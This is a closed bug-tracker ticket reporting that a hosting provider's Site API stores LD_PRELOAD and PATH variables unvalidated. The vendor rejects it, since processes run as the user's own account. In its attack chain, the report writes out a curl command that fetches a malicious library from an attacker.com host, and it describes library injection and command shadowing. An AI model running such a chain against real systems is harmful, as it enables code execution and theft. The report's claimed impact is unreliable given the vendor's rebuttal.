- Status Closed
-
Assigned To
cbay - Private
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026
FS#390 - Environment Variable Injection — LD_PRELOAD and PATH Accepted Without Validation via Site API
## Summary
The `environment` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary environment variable definitions without validation, including security-critical variables like `LD_PRELOAD` and `PATH`. I was able to store `LD_PRELOAD=/tmp/evil.so` and `PATH=/tmp:/usr/bin` — both were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.
Important note on scope of proof: I confirmed that the API stores these dangerous environment variables without validation. I was NOT able to confirm whether the stored values are actually passed to site processes at runtime. The proven vulnerability is that the API accepts and stores dangerous environment variables (including linker/loader variables) without any blocklist or allowlist. If these stored values are set in the process environment when the site's runtime spawns (the likely implementation), the impact escalates significantly — but this was not verified during testing.
## Environment
Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce
### Step 1 — Inject LD_PRELOAD and PATH via the API
```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json
{
"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```
Response:
```http
HTTP/1.1 204 No Content
Server: nginx
Vary: Accept-Language, Cookie
```
Accepted without any validation.
### Step 2 — Confirm the values were stored
```http
GET /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Accept: application/json
```
Response (excerpt):
```json
{
"id": 1058919,
"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```
Both environment variables stored verbatim.
### Step 3 — Immediate cleanup
```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json
{
"environment": ""
}
```
Response: `204 No Content` — cleared.
## What These Environment Variables Do
### `LD_PRELOAD=/tmp/evil.so`
`LD_PRELOAD` is the most dangerous environment variable on Linux. It instructs the dynamic linker (`ld.so`) to load the specified shared library BEFORE any other — including libc. This means:
- Any function in libc (or any other library) can be intercepted and replaced
- The preloaded library's constructor function (`attribute1)`) runs automatically before `main()`
- It affects every dynamically-linked process that inherits the environment
If an attacker places a malicious `.so` file at `/tmp/evil.so`, and `LD_PRELOAD=/tmp/evil.so` is set in the site's environment, then every PHP process, every CGI script, every command executed by the site's runtime will load and execute the attacker's code.
### `PATH=/tmp:/usr/bin`
Setting `PATH` to start with `/tmp` causes the shell (and any program that uses `exec*p()` functions) to look in `/tmp` first when searching for commands. If the site or its runtime executes shell commands (e.g., via PHP's `system()`, `exec()`, `shell_exec()`, or backtick operators), the attacker can place executables in `/tmp` that shadow legitimate system commands:
- Place `/tmp/curl` → intercepts any `curl` call, capturing URLs, credentials, API keys
- Place `/tmp/sendmail` → intercepts outgoing email, capturing addresses, content, attachments
- Place `/tmp/mysql` → intercepts database commands, capturing credentials
### The `/tmp` Connection
The shared `/tmp` directory on server `http21` is world-writable and accessible to all tenants (see cross-tenant `/tmp` exposure report, FS#363 regression). This means:
1. Any tenant can write files to `/tmp` (via SSH, SFTP, scheduled jobs, or their site's runtime)
2. Setting `LD_PRELOAD=/tmp/evil.so` via the API would cause those files to be loaded as shared libraries
3. No cross-tenant authentication is needed — the attack is: write to `/tmp`, set `LD_PRELOAD`, wait for a process to spawn
### Attack Chain
```
Step 1: Upload malicious shared library to /tmp
→ Via SSH: scp evil.so subhash@ssh-subhash.alwaysdata.net:/tmp/evil.so
→ Or via scheduled job: curl -o /tmp/evil.so http://attacker.com/evil.so Step 2: Set LD_PRELOAD via the API
→ PATCH /v1/site/1058919/ {"environment": "{'LD_PRELOAD': '/tmp/evil.so'}"}
Step 3: Trigger any PHP request
→ curl http://subhash.alwaysdata.net/index.php → PHP process spawns → linker loads /tmp/evil.so → attacker code executes
Step 4: evil.so's constructor runs as www-data
→ Can read/write any file accessible to www-data
→ Can make network connections (reverse shell, data exfil)
→ Can intercept any libc function (credentials, crypto keys)
```
## Root Cause
The `environment` field in the site API has no validation. The backend stores whatever dictionary/string the user provides and (presumably) sets these as environment variables for processes spawned under the site's configuration.
There is no blocklist for dangerous environment variables, no allowlist for safe ones, and no filtering of security-critical linker/loader variables.
## Impact
What is proven: The API accepts and stores dangerous environment variables (`LD_PRELOAD`, `PATH`) without any validation or blocklisting. A shared hosting platform should never allow users to set linker/loader variables.
What is NOT proven: Whether the stored values are actually passed to site processes at runtime. I was unable to verify execution during testing.
### If the stored values are applied to site processes (unverified — would be High/Critical)
These outcomes are plausible given the platform architecture (per-site environment config on shared hosting with world-writable `/tmp`), but none were demonstrated:
1. Code execution via LD_PRELOAD: Combined with writable shared `/tmp`, an attacker could place a malicious `.so` and have it loaded by the dynamic linker
2. Command hijacking via PATH: Redirecting PATH to start with `/tmp` would intercept shell commands executed by the site's runtime
3. Library search path manipulation: `LD_LIBRARY_PATH`, `PYTHONPATH`, `NODE_PATH`, etc. are likely also accepted (not tested)
### Confirmed impact regardless of execution
- Missing input validation on security-critical fields: The `environment` field accepts linker variables (`LD_PRELOAD`, `LD_LIBRARY_PATH`) that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure.
- No blocklist for system-critical variables: Unlike `log_file` which validates input, the `environment` field has zero validation.
## Suggested Fix
1. Blocklist dangerous variables: At minimum, reject any environment definition containing:
`LD_PRELOAD` — shared library injection
`LD_LIBRARY_PATH` — library search path manipulation
`LD_DEBUG` — linker debug output
`LD_AUDIT` — linker audit library
`PATH` — command search path hijacking
`PYTHONPATH` / `NODE_PATH` / `PERL5LIB` / `RUBYLIB` / `GEM_PATH` — language module path injection
`LD_BIND_NOW` / `LD_TRACE_LOADED_OBJECTS` — linker behavior manipulation
`GCONV_PATH` — glibc charset conversion path injection (used in CTF exploits)
`GETCONF_DIR` — getconf path injection
2. Allowlist approach (safer): Only allow environment variables that match a known-safe pattern (e.g., application-specific variables like `APP_ENV`, `DATABASE_URL`, `API_KEY`). Reject anything starting with `LD_` or matching known system variable names.
3. Fix `/tmp` isolation (defense in depth): Even with environment variable validation, the shared `/tmp` remains a risk. Implement per-tenant `/tmp` isolation via `PrivateTmp=yes` or mount namespaces.
1) constructor
THanks
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
That's false, everything runs as your own user. Therefore, there's no vulnerability.
Kind regards,
Cyril